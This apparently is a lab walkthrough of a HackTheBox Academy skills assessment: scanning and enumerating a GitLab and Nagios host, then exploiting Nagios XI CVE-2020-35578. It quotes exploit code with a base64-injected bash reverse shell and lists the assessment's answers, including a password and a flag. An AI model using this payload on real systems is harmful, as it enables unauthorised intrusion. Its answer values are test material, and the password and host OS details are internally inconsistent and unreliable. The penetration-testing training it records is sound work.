Attacking Common Applications - Part II
This is the part two of the Attacking Common Application’s skills assessment section.
Summary (How?)
We began by scanning the target and identified several open ports hosting potentially interesting services. One of them was GitLab, accessible via a provided virtual host. Enumeration of the GitLab instance revealed a public repository referencing another virtual host: monitoring, which resolved to a Nagios instance.
Next, we created an account on GitLab and logged in. This revealed additional repositories, one of which contained hardcoded credentials for the Nagios web interface. Using these, we accessed the Nagios instance as an admin.
We then exploited a known vulnerability in the specific Nagios version to gain a reverse shell as www-data and retrieved the flag.
Lastly, we were tasked with discovering the virtual host for a WordPress instance running on the server. Using ffuf, we successfully identified the vhost.
Situation
During an external penetration test for the company Inlanefreight, you come across a host that, at first glance, does not seem extremely interesting. At this point in the assessment, you have exhausted all options and hit several dead ends. Looking back through your enumeration notes, something catches your eye about this particular host. You also see a note that you don’t recall about the gitlab.inlanefreight.local vhost.
Performing deeper and iterative enumeration reveals several serious flaws. Enumerate the target carefully and answer all the questions below to complete the second part of the skills assessment.
Enumeration
nmap
Given the open ports we are dealing with a Windows host.
┌──(frang4㉿laptop-de-fran)-[~/academy-htb/attacking-common-applications/skills-assessment/part-II]
└─$ nmap -p- --min-rate=1000 $IP -oN nmap-open-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 16:57 -03
Warning: 10.129.201.90 giving up on port because retransmission cap hit (10).
Nmap scan report for gitlab.inlanefreight.local (10.129.201.90)
Host is up (0.17s latency).
Not shown: 65349 closed tcp ports (reset), 177 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
389/tcp open ldap
443/tcp open https
5667/tcp open unknown
8060/tcp open aero
8180/tcp open unknown
9094/tcp open unknown
Let’s get more information about each of them
└─$ nmap -p 22,25,80,389,443,5667,8060,8180,9094 -sC -sV $IP -oN nmap-open-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 17:00 -03
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 88.89% done; ETC: 17:01 (0:00:01 remaining)
Nmap scan report for gitlab.inlanefreight.local (10.129.201.90)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
| 256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_ 256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: skills2, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://gitlab.inlanefreight.local:8180/
|_http-server-header: Apache/2.4.41 (Ubuntu)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| ssl-cert: Subject: commonName=10.129.201.90/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2021-09-02T01:49:48
|_Not valid after: 2031-08-31T01:49:48
|_http-title: Shipter\xE2\x80\x93Transport and Logistics HTML5 Template
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
5667/tcp open tcpwrapped
8060/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: 404 Not Found
8180/tcp open http nginx
| http-robots.txt: 54 disallowed entries (15 shown) | / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_/*/new /*/edit /*/raw
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://gitlab.inlanefreight.local:8180/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
9094/tcp open unknown
Service Info: Host: skills2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.55 seconds
Interesting findings
- Gitlab running on port 8180
- port 80 redirects to 8180
- There’s and SMTP server running
- There is a nagios in the infraestructure as the ssl-cert from port 443 indicates
Open repository in gitlab - virtualhost
If we browse to /explore we can see a virtualhost repository that belongs to root with the following content in it
In the readme this is described as
Bash Script to allow create or delete Aache/nginx virtual hosts on Ubuntu on a quick way. This is very useful for adding vhosts to the inlanefreight.local environment.
And a new vhost is mentioned as an example. Maybe is the nagios?
Nagios - monitoring.inlanefreight.local
Once we add the vhost to our /etc/hosts we can confirm that this is the nagios
Trying with admin:admin we get this weird error message
Wordpress - blog.inlanefreight.local
One of the flags requests us to find a wordpress instance running on the host. I first fuzzed against nginx in port 8060, but as this was getting no results I tried with port 80 which has an apache, and this found the vhost blog.inlanefreight.local
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://$IP -H 'Host: FUZZ.inlanefreight.local' > vhost-top20000-apache-ffuf.txt -fs 46166
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.201.90
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.inlanefreight.local
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 46166
________________________________________________
:: Progress: [19966/19966] :: Job [1/1] :: 30 req/sec :: Duration: [0:02:03] :: Errors: 0 ::
┌──(frang4㉿laptop-de-fran)-[~/academy-htb/attacking-common-applications/skills-assessment/part-II]
└─$ cat vhost-
vhost-bitquark-ffuf.txt vhost-top20000-apache-ffuf.txt
┌──(frang4㉿laptop-de-fran)-[~/academy-htb/attacking-common-applications/skills-assessment/part-II]
└─$ cat vhost-top20000-apache-ffuf.txt
blog [Status: 200, Size: 50115, Words: 16140, Lines: 1015, Duration: 502ms]
monitoring [Status: 302, Size: 27, Words: 5, Lines: 1, Duration: 210ms]
gitlab [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 176ms]
Webpage in 443
The login and register functionalities are not yet implemented.
Nagios admin login - RCE
The next flag asks which is the admin password for nagios. After trying a few combinations and the default let’s look in the gitlab repos to see if we can find some credentials
Now there is one more interesting repo: Nagios Postgresql
Accesing the Nagios Postgresql project we find file named INSTALL with the following credentials
postgres=# CREATE USER nagiosadmin WITH PASSWORD 'oil^lC';
The next step is to log in into nagios. In the bottom left corner we can check its version: Nagios XI 5.7.5, this is interesting.
CVE 2020-35578
One goole search after and we found that this version is vulnerable to authenticated remote code execution (CVE 2020-35578) and there is a public available exploit.
According to the NIST
An issue was discovered in the Manage Plugins page in Nagios XI before 5.8.0. Because the line-ending conversion feature is mishandled during a plugin upload, a remote, authenticated admin user can execute operating-system commands.
Reading through the exploit we can se that the problem is with a monitoring plugin since the function execute_payload is doing a POST request to /nagiosxi/admin/monitoringplugins.php.
First they encode the payload in base64
# Payload Base64 Encoding
payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
payload_bytes = payload_decoded.encode('ascii')
base64_bytes = base64.b64encode(payload_bytes)
payload_encoded = base64_bytes.decode('ascii')
payload = ";echo " + payload_encoded + " | base64 -d | bash;#"
print("[+] Base64 encoded payload : %s" % payload)
And then it is formatted and sent to our vulnerable endpoint
# Payload Execution
multipart_form_data = {
'upload': (None, '', None),
'nsp': (None, nsp_str, None),
'uploadedfile': (payload, 'whatever', 'text/plain'),
'convert_to_unix': (None, '1', None),
}
print("[+] Sending payload ...")
print("[+] Check your nc ...")
rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False)
7
www-data@skills2:/usr/local/nagiosxi/html/admin$ cat f5088a862528cbb16b4e253f1809882c_flag.txt
<dmin$ cat f5088a862528cbb16b4e253f1809882c_flag.txt
afe377680107eb
Flags
- What is the URL of the WordPress instance?
http://blog.inlanefreight.local - What is the name of the public GitLab project?
virtualhost - What is the FQDN of the third vhost?
monitoring.inlanefreight.local - What application is running on this third vhost? (One word)
nagios - What is the admin password to access this application?
oil&^lC - Obtain reverse shell access on the target and submit the contents of the flag.txt file.